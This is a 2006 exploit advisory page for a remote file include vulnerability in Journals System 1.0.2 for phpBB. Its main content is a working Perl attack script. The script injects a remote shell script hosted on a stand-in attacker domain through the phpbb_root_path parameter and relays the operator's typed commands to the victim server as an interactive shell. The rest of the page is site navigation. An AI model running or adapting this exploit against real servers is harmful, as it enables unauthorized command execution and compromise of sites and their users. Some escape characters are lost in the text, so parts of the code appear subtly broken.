Journals System <= 1.0.2 [RC2] Remote File Include Vulnerability

Advisory Content :

#!/usr/bin/perl

########################################################################
########
#
#
# Journals System ( Independant Journals System for phpBB )
#
#
#
# Class: Remote File Include Vulnerability
#
#
#
# Patch: unavailable
#
#
#
# Date: 2006/10/12
#
#
#
# Remote: Yes
#
#
#
# Type: high
#
#
#
# Site:
http://projects.nbishop.name/phpbb/files/journals_system_1.0.2.zip #
#
#
########################################################################
########

use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt"; # <====== Change This Line With
Your Personal Script

print "n";
print
"######################################################################
n";
print "#
#n";
print "# Journals System <= 1.0.2 [RC2] Remote File Include Vulnerability
#n";
print "# Bug found By : Ashiyane Corporation
#n";
print "# Email: Nima Salehi nima[at]ashiyane.ir
#n";
print "# Web Site : www.Ashiyane.ir
#n";
print "#
#n";
print
"######################################################################
n";

if (@ARGV < 2)
{
print "n Usage: Ashiyane.pl [host] [path] ";
print "n EX : Ashiyane.pl www.victim.com /phpbb/ nn";
exit;
}

$host=$ARGV[0];
$path=$ARGV[1];

#$vul=includes/journals_delete.php?phpbb_root_path="
#$vul=includes/journals_post.php?phpbb_root_path="
$vul=includes/journals_edit.php?phpbb_root_path="

print "Type Your Commands ( uname -a )n";
print "For Exiit Type ENDn";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host",
PeerPort=>"80") or die "Could not connect to host.nn";

print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1rn";
print $socket "Host: ".$host."rn";
print $socket "Accept: */*rn";
print $socket "Connection: closernn";

while ($raspuns = <$socket>)
{
print $raspuns;
}

print "<Shell> ";
$cmd = <STDIN>;
}

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Journals System <= 1.0.2 [RC2] Remote File Include Vulnerability